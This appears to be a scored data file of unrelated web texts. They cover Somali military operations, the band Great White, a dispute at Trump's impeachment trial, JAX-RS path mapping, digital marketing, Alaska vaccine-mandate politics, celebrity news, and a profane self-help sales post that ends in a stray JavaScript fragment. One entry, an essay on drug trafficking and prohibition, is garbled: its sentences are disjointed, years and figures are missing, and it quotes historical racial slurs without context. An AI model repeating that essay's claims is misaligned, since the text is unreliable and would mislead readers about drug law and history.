0.927213	Somali military officers attend a training programme by the United Arab Emirates (UAE) at their military base in Mogadishu, Somalia November 1, 2017. Picture taken November 1, 2017. REUTERS/Feisal Omar - RC13D84CADA0 Somali military officers attend a training programme at their base in Mogadishu, November 1, 2017. (Photo: REUTERS/Feisal Omar) Somali security forces backed by the Southwestern state army killed seven al-Shabaab fighters and injured five others on Saturday in an operation in Bardale town in the southern region of Bay, an official confirmed on Sunday. Mohamed Isak, governor of Bardale town, told journalists that the joint operation started when the army got intelligence that the militants were hiding in the area to plan further attacks in the area. “There was intense confrontation between the army and the militants in Bardale town, but our forces subdued the militants killing seven of them including a senior leader who was in charge of finance and we also injured five others,” Isak said. He noted that a government soldier was killed and three others injured during the confrontation. The latest operation came barely two days after Somali National Army (SNA) killed five al-Shabaab militants including two senior leaders in another operation in Janale town in the country’s southern region of Lower Shabelle. Meanwhile, the Somalia National Army (SNA) said its forces have captured al-Shabaab territories in Mubarak district of Awdhagle in the southern region. The SNA said in a statement on Sunday that the areas were captured during a sting military operation to liberate areas still under al-Shabaab control. The army said the operation which was also carried out on Saturday also saw the forces remove landmines which had been planted by the extremist group in the area. The army said it will intensify military operations to ensure they flush out all al-Shabaab remnants in the areas which are still under their control. Somali army backed by African Union Mission in Somalia forced al-Shabaab extremists out of the capital Mogadishu in August 2011, but the militants still hold swathes of rural areas in southern and central Somalia conducting ambushes and planting landmines as they stage attacks in the city and elsewhere. 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0.980885	Known for single 'Once Bitten Twice Shy' and for albums such as 'Shot in the Dark,' 'On Your Knees' and 'Once Bitten' Why they might be annoying Their biggest hit was a remake of Ian Hunter's song 'Once Bitten Twice Shy.' The band's lineup changed constantly. They did a cover of Led Zepplin's 'Stairway to Heaven,' which was considered by many rock bands too sacred to remake. Lead singer, Jack Russell, shares his name with a breed of dog, the Jack Russell Terrier. Their use of pyrotechnics in a small-venue concert resulted in a fire that killed 99 people (February 20, 2003). That fire became the fourth deadliest fire in US history. The tragedy set off a finger-wagging war where the band alleged that the nightclub owners allowed them to use the pyrotechnics but the owners deny that they did allow the fireworks for the show. The band's album sales increased slightly since the tragedy. Why they might not be annoying They lost their guitarist (Ty Longley) in the fire. The tragic fire, along with the Chicago nightclub stampede that killed 21 club goers a few days beforehand, brought attention to the issue of nightclub safety.
0.999998	On Saturday, after the Senate voted in favor of hearing witness testimony as a part of ex-President Donald Trump’s ongoing trial on a charge of incitement of insurrection, Sen. Ron Johnson (R-Wisc.) — an ardent Trump ally — was caught feverishly arguing with Sen. Mitt Romney (R-Utah), who has frequently opposed Trump and voted in favor of hearing from witnesses, unlike Johnson. According to reporter Jason Donner, who was on the scene — and works for Fox News, funnily enough — Johnson “turned to Mitt Romney and was upset with him, even pointing at him once.” “… They were going back and forth with Sullivan in the middle of them. I heard Johnson tell Romney ‘Blame you.’ Voices were definitely raised.” — Andrew Desiderio (@AndrewDesiderio) February 13, 2021 Referring to Sen. Dan Sullivan (R-Alaska), Donner added that the Senators “were going back and forth with Sullivan in the middle of them,” elaborating that he “heard Johnson tell Romney ‘Blame you'” and that “voices were definitely raised.” In other words, Johnson appears to have been upset over the continuation of the Trump trial, which, without witness testimony, might have wrapped up this weekend. Asked about his comments to Romney, Johnson complained that it’s “grotesque” that “you guys are recording this” — but “Reporters in the gallery saw/heard the Romney-Johnson exchange on the Senate floor,” journalist John Bresnahan noted. The proceedings are public! /2 Reporters in the gallery saw/heard the Romney-Johnson exchange on the Senate floor. It was in public — John Bresnahan (@bresreports) February 13, 2021 Now, the House impeachment case managers have already identified one witness whose testimony they hope to hear — Rep. Jaime Herrera Beutler (R-Wash.), who reiterated this week that House Minority Leader Kevin McCarthy (R-Calif.) informed her of a troubling conversation that he had with then-President Donald Trump on the day of the Capitol rioting. In the conversation, after McCarthy reiterated that the rioters at the Capitol were not “Antifa” as Trump apparently delusionally suggested, Trump approvingly told McCarthy that the rioters at the Capitol were “more upset about the election than you are.” #BREAKING: Raskin wants Jaime Herrera Beutler for testimony to talk about her knowledge of McCarthy-Trump talk. And they want a subpoena for her notes. — Manu Raju (@mkraju) February 13, 2021 Trump’s tacit approval for the rioters’ behavior isn’t entirely new information — on the day of the rioting, Trump posted on Twitter that “these are the things and events that happen” when a presidential election victory is stolen. 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"To the patriots who were standing next to the former president as these conversations were happening, or even to the former vice president: if you have something to add here, now would be the time," she said. https://t.co/lwFCgyIYKL — Kaitlan Collins (@kaitlancollins) February 13, 2021 UPDATE: Although the Senate voted in favor of hearing from witnesses, the Senate reached a deal to enter an already public statement from Herrera Beutler into the record and move on, setting up a final vote. Politics Top Stories AOC Shames Kevin McCarthy & His ‘Ku Klux Klan Caucus’ By Carissa House-Dunphy - December 1, 2021 Under Kevin McCarthy’s leadership over the Republican Party, Marjorie Taylor Greene (R-GA) has verbally attacked her Democratic colleagues on camera and harassed a Democratic colleague who hung a rainbow flag outside her office. Rep. Paul Gosar (R-AZ) publicly posted an anime video of himself killing Rep. Alexandria Ocasio-Cortez (D-NY) and President Biden. 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0.992383	For the REST-purists under us, a resources ending with a slash is not the same as a resource ending without a slash. However, the difference between url://xxxx.com/a and url://xxxx.com/a/ is ignored. The trailing slash is omitted. When you try to map a resource with a trailing slash using the standard @Path annotation, the methods get mapped to the same endpoint causing an exception. @RequestScoped public class TestResource { @Path("{path}") @GET public String test1(@PathParam("path") String path) { return "test1"; } @Path("{path}/") @GET public String test2(@PathParam("path") String path) { return "test2"; } } Glassfish answers during the deployment with: SEVERE: Following issues have been detected: WARNING: A resource model has ambiguous (sub-)resource method for HTTP method GET and input mime-types as defined by @Consumes and @Produces annotations at Java methods … These two methods produces and consumes exactly the same mime-types and therefore their invocation as a resource methods will always fail. In Glassfish which uses the Jersey under the hood, the slash is also ignored. But there is a workaround. You can use regex in the Path-annotation to map resources ending with a slash. In the example at the end, I use regex to map the paths to the methods. But there is something you should know about the path-matching algorithm. The mapping algorithm uses the following rules: The JAX-RS specification has defined strict sorting and precedence rules for matching URI expressions and is based on a most specific match wins algorithm. The JAX-RS provider gathers up the set of deployed URI expressions and sorts them based on the following logic: The primary key of the sort is the number of literal characters in the full URI matching pattern. The sort is in descending order. The secondary key of the sort is the number of template expressions embedded within the pattern, i.e., {id} or {id : .+}. This sort is in descending order. The tertiary key of the sort is the number of nondefault template expressions. A default template expression is one that does not define a regular expression, i.e., {id}. In the following example, test2 is found before test1 because the regex is longer! We check the trailing slash first. When it fails, it falls back to test1. @RequestScoped public class TestResource { @Path("{test:.}") @GET public String test1(@PathParam("test") String test) { return "test1"; } @Path("{test:.[/]}") // takes precedence @GET public String test2(@PathParam("test") String test) { return "test2"; } } Blog at WordPress.com. Privacy & Cookies: This site uses cookies. By continuing to use this website, you agree to their use.
0.98095	What areas of focus in your digital marketing strategy are top-level for your marketing campaign? Your answer is Essential areas of digital marketing. Depending on the goals of your organization, there maybe certain areas where you’ll need to rely more heavily on paid tools, and then other areas where you can get away with using free tools. Social media can be used for organic digital marketing purposes, in which you’re not paying for anything, you’re just trying to gain subscribers and a following based on content that you’re posting. Of course, on most platforms, you can also boost your posts to gain more traction. We’re not talking about display advertising in social media, however. The difference between paid posts and display ads, is that for paid posts you’re publishing a regular post that you would normally publish for free, but instead you’re paying to have it boosted and to reach a wider audience. Display advertising on social media, is when you pay for a banner on the sidebar of say Facebook, quite different from boosting a post. We will discuss some of the different tools for both of these social media marketing techniques in this course. The second area that we will discuss, is email marketing. Yes, it is still a viable digital marketing option, depending on the goals of your organization. We will then focus on display advertising. Video plays a big role in online marketing for multiple different reasons. Maybe you’re looking to drive more traffic to your website by creating a helpful YouTube channel, or maybe you’re looking to do some paid video advertising. When it comes to content creation and curation, there are a ton of different tools to choose from. Finally, other area of digital marketing is affiliate marketing tools and programs available, for organizations that are willing to give up the reins and let some others do marketing for them. It’s important to understand that by looking at affiliate marketing from this perspective, we will be paying others to market our product or service, and not profiting from marketing others products or services. For all of these areas of digital marketing, I will be discussing tools and platforms that have stood the test of time and have a bright future ahead of them.
0.94405	The American judicial system did not initially accept drug prohibition. Most nations consider drug trafficking a very serious problem. In many cases, "American mercenaries provided their services as pilots making trips between over clandestine landing strips in South America and the US. Soon, however, the people who were allowed to issue the licenses did not do so, effectively banning the drugs. In practice, this is rarely carried out against Indonesian citizens, however, they have controversially executed many overseas tourists to the country. If there are specific task force officers assigned to the reduction of drug trafficking in each community, then this would also likely limit the number of individuals involved in this trade. Many officers, in small communities especially, are assigned multiple tasks throughout the day as needed. Stronger, synthetic drugs are now entering the market, often disguised as heroin or other drugs. By selling drugs in state clinics or stores, the government would be able to maintain quality control over drug sales. If these same companies were able to sell drugs that were arguably more addictive and pleasurable, then, critics say, even more people would become addicted because of marketing and additives. There are several different painkillers that are available today, including natural remedies, that can be effective at controlling acute or chronic pain. These groups began as hierarchical with clear and defined leadership and a ladder of command down to the street dealer. Major consumer countries include the United States and European nations, although consumption is world-wide. The War on Drugs has stimulated the creation of international law enforcement agencies such as Interpolmostly in Western countries. Severity of the punishment depends on the schedule of the substance and the recidivism of the offender. These policies of tolerance fostered the growing power of drug cartels in the Mexican economy and have made drug traders wealthier. The use of automatic weapons, threats, and bribery are common in maintaining control. Many times these organizations are run from outside the country and therefore extradition and conflicting laws may prohibit the investigation. Religious intolerance was also the motivation for drug prohibition in Christian Europe. The global increase in heroin seizures over the period was driven mainly by continued burgeoning seizures in the Islamic Republic of Iran and Turkey. Penalties depend on type of drug, amount, and prior convictions and can even reach life in prison as well as substantial fines. After the two Opium Wars, the British Crown, via the treaties of Nanking and Tianjinobliged the Chinese government to pay large sums of money for opium they had seized and destroyed, which were referred to[ by whom. Sometimes, the illegal trade of tobacco is motivated by differences in taxes in two jurisdictions, including smuggling across international borders. Tweet on Twitter Drug trafficking is a serious issue in the developed world, but one solution to combat it is rather simple: Tobacco The illegal trade of tobacco is motivated primarily by increasingly heavy taxation. Aside from financial detriment, these groups can be very violent extending their police record to countless offences. Minimum sentence associated with the felony charge is doubled, so that minimum sentence is between four and 10 years, and maximum sentence 12 to years. Production is unmatched when it comes to marijuanaheroin, and cocaine with methamphetamines an increasing trend. Between and imports of the drug increased five-fold. Code Section, et. A large amount of drugs are smuggled into Europe from Asia. The types of drugs are divided into five schedules and charges and penalties depend on the schedule. In Swedena referendum indecided against an alcohol prohibition law with 51 percent of the votes against and 49 percent for prohibitionbut starting in nationwide from and untilSweden employed an alcohol rationing system with personal liquor ration books. Public health[ edit ] Another approach has been initiated using campaigns for anti drug use in an attempt to reduce the demand for illegal drugs from within. More severe charges get mandatory minimum of five years in prison. Newspapers used terms like "Negro Cocaine Fiends" and "Cocainized Niggers" to drive up sales, causing a nationwide panic about the rape of white women by black men, high on cocaine. This was followed by the Harrison Act, passed inwhich required sellers of opiates and cocaine to get a license which were usually only distributed to white people. A similar "three strikes" policy was introduced to the United Kingdom by the Conservative government in Many countries, such as Canada and the Netherlands, have decriminalized the possession of small amounts of controlled substances. Want to cut down or stop using the drug but cannot. If necessary, you may be directed for forfeit assets, monies, and properties that are connected to your drug trafficking conviction. Under the latter, harsher penalties were imposed in for listed substances carfentanil, cocaine, fentanyl, and heroin. Economics The war on drugs is extremely costly to such societies that outlaw drugs in terms of taxpayer money, lives, productivity, the inability of law enforcement to pursue mala in se crimes, and social inequality. Alabama. The Alabama drug trafficking charges are covered under Title 13A, Criminal Code, Code of Alabama and Title 15, Criminal Procedure, Code of Alabama. Jul 12, · The Commission establishes sentencing policies and practices for the federal courts. Each year, the Commission reviews and refines these policies in light of congressional action, decisions from courts of appeals, sentencing-related research, and input from the criminal justice community. The "outcome document" adopted during the UN General Assembly's special session (UNGASS) calls for countries to "prevent and counter" drug-related crime by disrupting the "illicit cultivation, production, manufacturing, and trafficking" of cocaine, heroin, methamphetamine, and other substances banned by international law. The Commission establishes sentencing policies and practices for the federal courts. Each year, the Commission reviews and refines these policies in light of congressional action, decisions from courts of appeals, sentencing-related research, and input from the criminal justice community. Drug Trafficking is the act of transporting a large quantity of illegal drugs or controlled substances with the intent to unlawful sell, distribute, or deliver. The notion of Drug Trafficking is considered to be an illegal commercial activity, which is typically defined as a felony. Drug trafficking laws depend upon the amount of drugs you have in your possession, though the specific amount differs depending on the type of drug. For example, a state's laws may define marijuana trafficking as possessing 25 pounds or more of marijuana or pounds or more of marijuana plants.
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It was so damn good that if I could bottle and sell it? It’d definitely be another flow’n’ease 7-figure income stream, and rightly so because people deserve to GIT that shit! Wanna know where it all began though? With me paying $100 to NOT go to my private Muay Thai training session, because I flaked out at the last minute, texting only 5 minutes before I was due to be there to say I wasn’t going to come. “I’m getting in flow with my work right now, and I don’t want to break my focus”. Boom, small flicker of guilt at failing to follow through pushed aside, on with the show. OBVIOUSLY if I’m gonna cancel on someone last minute I pay them anyway, even if that weren’t their policy it would be mine. And sure, at this point of my business and life journey it’s not a big deal to ‘lose’ that money, but do you know what? I’ve done this shit for years, when the spirit called me to. Way back when I was broke AF and over 145k in debt I remember doing the exact same thing to my trainer at the time. Yep, I still paid for a trainer … and indeed ALL things I felt important … when broke. In fact that’s where a fair whack of the debt came from; investing in myself heavily despite not having cracked the money code yet! Anyway, I can remember times way back when it was DEFINITELY a big deal to forego a session and pay for it anyway, and yet of course I did it anyway because here’s the thing – Your ONLY job in life (I believe) is to say yes to God and soul. Which, when you’re connected in and tuning in, you should find results in one and the same set of directives, i.e. soul follows God. And I wonder – How often, as you go about your day, your week, your month, your year, as you create your LIFE, do you actually listen to soul to the point of being willing to FAIL to follow through on things you said you’d do – To walk away from plans well made – To bail on somebody you made a commitment to, whether for a paid appointment like my example here or a personal catch-up – To PROCRASTINATE on or altogether ignore things you supposedly have a responsibility to, because your soul suddenly guided you in another direction and you had the COURAGE and also SMARTS to listen? I was at a study group the other night and someone was laughing about how kids are so honest, and if they don’t want to do something or go to something they just say so, but how as an adult ‘we could never just say “I didn’t want to!”‘. And I thought – in a group of conscious and very successful adults, how is it even possible there is still a mindset of ‘I have to in any way hide my truth, and it is bad or wrong or shameful to break societal expectations or norms or politeness, never mind admit it!’. How?! WHY is there ANY problem or possible offense with saying things like – “no thank you, I don’t want to”? With canceling my session yesterday, I know for a fact (having been a trainer for 13 years and heard ALL the excuses!) that most people would NOT just text ‘I’m not coming because I don’t want to’, which is essentially what I wrote. Mostly they would make something up. MOSTLY, in that particular scenario, where there was no actual reason they couldn’t be there except for it NOT FEELING ALIGNED, they would say to themselves ‘oh, I should go … not waste the money … what’s the big deal … I can get back into my writing (or whatever) afterwards … I’ll be glad I went … and so on’. Well. – There’s a fine line between knowing when it’s time to follow through and do what you said you’d do because alignment knows you MUST, and so shut TF up with your ‘I don’t feel like it’s’, and get on with it, as opposed to knowing when ACTUALLY – This is not the priority right now. For someone as obsessed with fitness and in love with her daily workouts as I am, it’s a big deal and kind of odd to decide NOT to do a planned workout, especially as I teach continually around get your ass in the gym / chair / etc, and do the work, but it’s also not a big deal at all when you look at it from a perspective of FIRST THINGS ALWAYS COME FIRST. See at 7.40am I was sitting in the coffee shop, knowing I was due at the fight gym at 8am, and I could just feel that little hint of superflow starting to creep up on me. I knew with certainty that if I stayed in the chair in that moment, I would drop in drop in drop ALL the way in with my journaling – Probably resulting in unleashing my blog from a place of TRUE soul connectedness (and let’s face it, the feeling of having written from that place is pretty much the #1 vibe I am chasing err day) – And then would be IN the flow to continue on and finalise details of my new offer which had started to come through the day before. I could just feel how that moment right then was a moment of choice – and an opportunity to do what every true soul-led messenger MUST find time to do each day, which is to make space for flow and the Muse to come upon you. OR – I could quickly journal for 15 minutes. Go do my workout. Which I would love, and smash, for sure. Feel GOOD in my body. And then, absolutely, go sit down again and get to my work. It wasn’t a TIME issue, you understand. I had the whole day up til school pick up time stretching ahead of me, there was no question that I had time to do the work after the workout, if I followed through on my commitment. It was a FLOW issue, and a say yes to soul or NO issue. It was inconvenient, and mildly uncomfortable to cancel the workout. And also very easily one of those things you can talk yourself into saying you’re being a bit dramatic about. What’s the big deal, just do your damn workout you booked and then write after?! What’s the big deal? IT’S A VERY BIG FUCKING DEAL WHEN YOUR SOUL NUDGES YOU, ASKS YOU, GUIDES YOU, AND YOU SAY NO! It is literally how empires from purpose or built – LIVES, soul-led, created – Or the whole damn thing felled before it even began. It’s very very black and white: You simply cannot create a life of purpose, passion, flow, by repeatedly saying no to what purpose, passion, flow, would have you do right now in this moment!! How the frick does THAT make sense? It does not. If you want to live a life you love and in which you are FULLY connected to purpose passion and flow the way it should be, the ONLY way is to live each moment that way. This requires MASSIVE massive trust. I TRUST that when I say yes to soul, even if it means being a flake or failing to follow through, that it is FOR MY HIGHER GOOD AND INDEED THE GREATER GOOD OF ALL. I TRUST that I literally can’t get it wrong when I follow what my inner and highest most self lead me to do. Fortunately – Trust is a choice And being able to hear what your soul is saying, what God is saying, is also a choice. And a practice. ALL things are a practice. So, what if today you got to practicing? To leaning in. To listening in. To acting, in spite of the fear which may in the short-term try to derail you, as though you trusted that you literally can’t get it wrong when you create your life from what soul says. BECAUSE YOU CAN’T. But, either you will GET this and then start to LIVE it even before you FEEL it, and thus it will click in and you will be, like me, pretty much ALWAYS connected and have zero doubt but that you know exactly what to do and exactly how to do it in all situations, OR – You will live your life continually looking around desperately for affirmation, confirmation, RULES, from others. All while bitching and moaning about having to constantly do shit you don’t wanna do in a way that doesn’t suit you! Which is it gonna be baby? You gonna say yes to soul, to purpose, to passion, to flow, to CHOOSING trust and a big no THANK YOU to anything that doesn’t align as being fuck yes in THIS moment – ? Or you gonna continue to take your medicine like a good little girl, open your mouth wide darling and SLURP it all down, the world has things it needs to feed you and you better lick it ALL the way up – ? You can’t choose both. Yesterday, because I said yes to soul, I sat there for hours just as I knew I would, and I unleashed an offer which I originally wrote the sales page for in 2012. This is the deepest deepest and truest work of my soul, and I’ve known for years now that when it finally came out it would do so in a fuck yes way which is UNMISTAKEABLE. Not only did I fine-tune my offer and SO many cool bonuses, extras, details, VIP option, follow on ‘behind the curtain’ secret offer, but also I wrote 22 brand new killer sales ideas down – CRUSHED my blog writing (which just means, got my VIBE on!!) – Cleared all PMs, all client audios, all emails, all team projects – Created content for my current paid programs – Sent several emails out myself ’cause I didn’t feel like bothering my brother with it – Went back and forth all day in flow with my team on upleveling the details of the new offer to make sure EVERYTHING was on point – Got my hair did – Messaged about 100x back and forth with a sexy man – Spoke to and supported one of my badass Inner Circle clients – Was at school pick up at 3pm promptly and was then FULLY present with my kids at the park and at home for the evening – Cooked dinner – AND EVEN DID A KILLER WORKOUT IN THE END (of course!!), but did it at the time when it flowed to, after my morning brain dump and soul unleashing. Plus so much more I can’t even remember. As I got to school to get the kids, I was audio’ing my bestie Linda and I said – I haven’t felt this DEEPLY and COMPLETELY fulfilled in so long. And I hadn’t even realised it. I obviously do a fuckload of stuff each day, and I am FREQUENTLY in flow, getting my shit done. But this … today was a reminder of what UNMISTAKEABLE fuck yes feels like. About repeatedly being willing to turn turn turn away from any and all things that are not TRUE fuck yes for this moment – As you say yes to soul – And let LIFE say yes to YOU. When I woke up this morning, I had my primary assistant Kelly check sales for me for the new offer. I wasn’t surprised at all to see we’re off to a killer start. The energy of this entire thing came from a place of ‘I can’t NOT’. The offer itself is the most unmistakably fuck yes offer for me EVER. And I think you might just feel the same when you see it. You know how you know when you let something out which people truly can’t NOT get on board with? Yeah … I got that feeling GOOD right now! And what if I hadn’t have listened to my soul yesterday morning, would I not have got the offer out in the end, got my shit done for the day? Of course I would, in a way. But there is a way in this life in which we manage to just ‘get our shit done’, and sure it’s a way which creates a level of result, because action always DOES. Or, There is a way in which we learn to be guided fully, always, absolutely, from soul – Saying a big ‘fuck you’ to even our own rules – And trusting, that when I say yes to soul: Life says yes to me. Let me tell you – The feeling of unmistakeable fuck yes you get from that is DEFINITE. Don’t kid yourself that your ‘but I got shit done’ approach to life gives you even 1% of the same. Not in energy. Not in emotion. And certainly not in results. In the end you either spend your life hoping to happen on the damn flow, somehow magically despite the fact that you DON’T FUCKING FOLLOW IT – Or you become the motherfucking flow. PS Purpose Passion Flow Academy has arrived baby! And it’s SO.DAMN.YES! https://thekatrinaruthshow.com/purposepassionflowacademy/ For the DRIVEN men and women who are called for more – And willing to now GET it, live it, BE it!! Our work begins with a 10-Day Intensive on Remembering Who You Are. Purpose Passion Flow Academy is my brand new monthly (month to month) membership program, designed for driven badass men and women who KNOW they were born for more – And who are all in on living accordingly. Each month we do a brand new (LIVE) course together in the Academy, the kind I would typically sell as a solo course for 1.5 or 2x what you will pay to be a member of Purpose Passion Flow Academy! PLUS we have additional PPF only trainings, hotseats, opportunity to be personally coached by me, Q&A livestreams, an ongoing Facebook forum for 24/7 support, weekly guided journaling and Create Your Dream Biz & Life exercises and audio trainings, and so much more. Basically I’ve created a place where you are LOCKED IN ON ALIGNMENT, ASSKICKERY, and SAYING YES TO SOUL. And I couldn’t be more freakin’ excited!! Especially as I actually wrote the original sales copy for this membership 7 years ago haha … I’ve always known it was coming, one day! Pssst .. there are some pretty sweet bonuses and add-ons which you’ll receive right away into your members dashboard when you sign up! $1533 worth of ’em, to be precise! In the next few weeks I’ll begin advertising Purpose Passion Flow Academy outside of my current community at full price, but right now for this current-peeps-only launch you sign up for fully 50% off of the already low price. AND, keep that foundation members rate for as long as you choose to remain a member!! https://thekatrinaruthshow.com/purposepassionflowacademy/ Click the link to read all about#PurposePassionFlow Academy, about our first intensive together ‘Remembering Who You Were’, and about a business and life in which you say yes to being all of you – Doing what you can’t not. And letting the damn money and other shit come as a result of that. We get to have it all. You ALWAYS knew this. But it’s not going to happen when you fail to say yes to you. Stop bullshitting yourself that you can create the life you want by putting every other damn thing first. Purpose Passion Flow Academy: For the Ones Who Are Called For More. https://thekatrinaruthshow.com/purposepassionflowacademy/ PPS Check out the freaking fabulous gift pack for my Top 20 foundation members! Deets on page x Remember – Life is Now. Press Play! Kat x PS. Write.Speak.FLOW.Repeat. 18 days with me in my all new course. This? Is where we wake you TF up and then bitch slap you with love straight into the place of ease and flow doing and being ALL that you came here for, the way that makes sense for your SOUL, and thus serves the whole world too. (Side note: I recommend joining before Thursday!) www.thekatrinaruthshow.com/writespeakflowrepeat '; html += ' Your GPS did not respond. Be sure you have your GPS enabled and try again. '; html += ' Try Again '; html += ' '; // a little hack to hide the checkin button without really tampering with it. jQuery('#map-canvas').html(html); }
0.956723	Enlarge / Alaska Governor Mike Dunleavy (R-AK) speaks at the White House in Washington, DC, on July 16, 2020. Though the state of Alaska currently has the highest rate of COVID-19 cases in the country, Governor Mike Dunleavy is focusing on fighting federal vaccine mandates. Dunleavy signed an administrative order Tuesday that prohibits all state agencies from participating in or assisting with federal vaccine mandates for employers. The order also tasks the state’s attorney general with reviewing all federal vaccine mandates and looking for ways to challenge them in court. Last week, Alaska also joined nine other states in filing a lawsuit challenging the Biden administration’s vaccine mandate for federal contractors. And in an opinion piece published Monday on a far-right political website, Dunleavy vowed that Alaska would also take legal action against an upcoming rule by the Occupational Health and Safety Administration to compel companies with 100 or more employees to require vaccination or regular testing. White House COVID-19 Response Coordinator Jeff Zients said Wednesday that the rule will be coming in a matter of days. Dunleavy argues that the federal mandates and rules are “unconstitutional” and “completely unnecessary” for the state of Alaska, which has only 53 percent of its population vaccinated. The Republican governor claims Alaska has “handled COVID better than nearly every other state in the US.” He boasted that the state has never had a mask mandate and ended its emergency declaration before other states. The state also never prevented healthcare providers from offering unproven and potentially harmful treatments for COVID-19, such as ivermectin and hydroxychloroquine, Dunleavy proudly noted. And, so far, Alaska has the fourth-lowest COVID-19 death rate among states. Mandating success But Alaska also has the second-highest COVID-19 case rate overall in the country, with 19,000 cases per 100,000 people since the pandemic began, according to data tracking by the New York Times. Alaska is second only to North Dakota, with 19,584 cases per 100,000 overall in the pandemic. And Alaska currently has the highest daily case rate of any state or jurisdiction in the country, with 82 daily cases per 100,000 people. The state is now reporting a seven-day average of around 600 new cases per day, down from a peak of over 1,300 at the end of September. Last month, amid the peak of the state’s delta wave, Alaska officials activated emergency crisis protocols in 20 medical facilities, allowing healthcare providers to ration care amid a crush of COVID-19 patients. Dunleavy, who is up for reelection next year, is facing criticism from political opponents over his handling of the pandemic and his recent efforts to fight vaccine mandates. Democratic gubernatorial candidate Les Gara told Anchorage Daily News that Dunleavy “should be working overtime to find ways to convince people that vaccines are safe, save lives, and are one of the only ways out of this pandemic.” Though vaccine mandates have faced opposition nationwide, that opposition is small—usually just a sliver of workers and communities—and the mandates have proven remarkably effective, again and again. Just on Tuesday, New York City Mayor Bill de Blasio announced that 92 percent of the city’s 378,000 employees were vaccinated, with thousands getting shots as the deadline neared. Though there were concerns that more than 22,000 city workers would buck the requirement, causing mass disruption in city services, only 9,000—less than 6 percent of workers—were placed on unpaid leave this week. Mayor de Blasio said no disruptions were expected.
0.954864	Christina Applegate pictured on set of Dead To Me for first time since revealing MS diagnosis 🔥🔥🔥🔥🔥 – Florida Trends Skip to content Florida Trends Explore The World News Menu trending US NEWS world entertainment femail lifestyle tvshowbiz uk Technology Australia Adelaide Brisbane Melbourne Perth Sydney Politics Sports Home›trending› Christina Applegate pictured on set of Dead To Me for first time since revealing MS diagnosis 🔥🔥🔥🔥🔥 On November 13, 2021 by Carolin Alfano Christina Applegate was pictured on the set of Netflix‘s Dead To Me for the first time since she revealed her multiple sclerosis diagnosis in August. The 49-year-old actress was seen flashing a fake baby bump while shooting scenes on the beaches of Malibu on Thursday with co-star Linda Cardellini, 46. After Applegate revealed her diagnosis over the summer, production had come to a halt with CBS and Netflix releasing a joint statement about giving the Married With Children star ‘time and space’ to process it all. Back to work! Christina Applegate, 49, was pictured back on the set of Dead To Me in Malibu on Thursday with co-star Linda Cardellini, after her multiple sclerosis diagnosis caused production to halt to give her ‘time and space’ Christina was seen laying on a beach chaise in striped pants and a turquoise long sleeve T-shirt with a very prominent fake baby bump — which teases a large development in season three. Her blonde locks were styled in soft curls and a spray bottle of sunscreen and glass of water were pictured on the table beside her. Laying next to her was Cardellini who looked beach chic in a red flowing dress with an oversized straw hat while sipping on wine. The ladies — who star as Jen (Applegate) and Judy (Cardellini) were seen doing a few takes of the scene while a hefty group of production personnel looked on. Multiple delays: The show was renewed for a third and final season in July 2020 but on account of the COVID-19 pandemic production was delayed until the spring of 2021 which then was halted again after Applegate’s MS news Back with a bang: In honor of the show’s production return a large group of production personnel were seen camped out on the beach in Malibu on Thursday In the hit Netflix show Christina stars as Jen Harding — a mother, widow and realtor who develops a friendship with Cardellini’s Judy Hale when they meet at a grief support group. Hale is a health care assistant with a dead fiance who has endured five miscarriages, and the women — who both have their fair share of dark secrets — bond over their shared trauma. Season two premiered in May 2020 — and earned Applegate a nomination for Lead Actress in a Comedy Series at the 71st primetime Emmys. The show was renewed for a third and final season in July 2020 but on account of the COVID-19 pandemic production was delayed until the spring of 2021. Expecting? Christina was seen laying on a beach chaise with a very prominent baby bump — which teases a large development in her character Jen’s life in season three Just two months after production started up again, Applegate went public with her MS diagnosis which delayed filming for a second time. On August 9 she tweeted the news revealing she had been diagnosed months prior and called it a ‘tough road.’ ‘Hi friends. A few months ago I was diagnosed with MS. It’s been a strange journey. But I have been so supported by people that I know who also have this condition. It’s been a tough road. But as we all know, the road keeps going. Unless some a**hole blocks it.’ In a follow-up tweet she wrote in excerpt: ‘So now I ask for privacy. As I go through this thing. Thank you xo.’ Going public: Just two months after production started up again, Applegate went public with her MS diagnosis which delayed filming for a second time, as she shared the news via Twitter Challenges: Prior to her MS diagnosis, Applegate had been diagnosed with breast cancer in 2008, but after undergoing a double mastectomy she revealed she was cancer free; pictured January 2020 ollowing the announcement, CBS and Netflix threw their support behind her and production went dark. ‘We love and support Christina and respect her privacy as she takes the time and space she needs in this moment,’ reps told the Hollywood Reporter. Prior to her MS diagnosis, Applegate had been diagnosed with breast cancer in 2008 and underwent a double mastectomy. Following the procedure she revealed she was cancer-free, and Dead To Me even included that storyline in the show. Season three is currently slated to hit the streaming giant sometime in 2022. End of an era: In the hit Netflix show Christina stars as Jen Harding — a mother, widow and realtor who develops a friendship with Cardellini’s Judy Hale when they meet at a grief support group, and the series earned Applegate a nomination for Lead Actress at the 71st Primetime Emmys; Applegate (left) and Cardellini (right) pictured 2019 Christina Applegate pictured on set of Dead To Me for first time since revealing MS diagnosis Get link xoonews.com websitetrafficnews.com Post Views: 18 Related Posts: Christina Applegate shares inspiring message on 50th… Britney Spears SLAMS Christina Aguilera for… SAGE adviser says Europe Covid lockdown riots are a… Horrifying moment gun-wielding Texas man shoots dead… George Clooney says having live bullets on the set… White father and son are both found GUILTY of murder… Ghislaine Maxwell ‘would do anything' to meet… Cleo Smith: How police found missing girl in… Topics trendingtags Applegate, Christina, dailymail, Dead, diagnosis, Latest News, Latest Today News, Netflix, news of the day, PICTURED, revealing, set, Time, tvshowbiz, xoonews
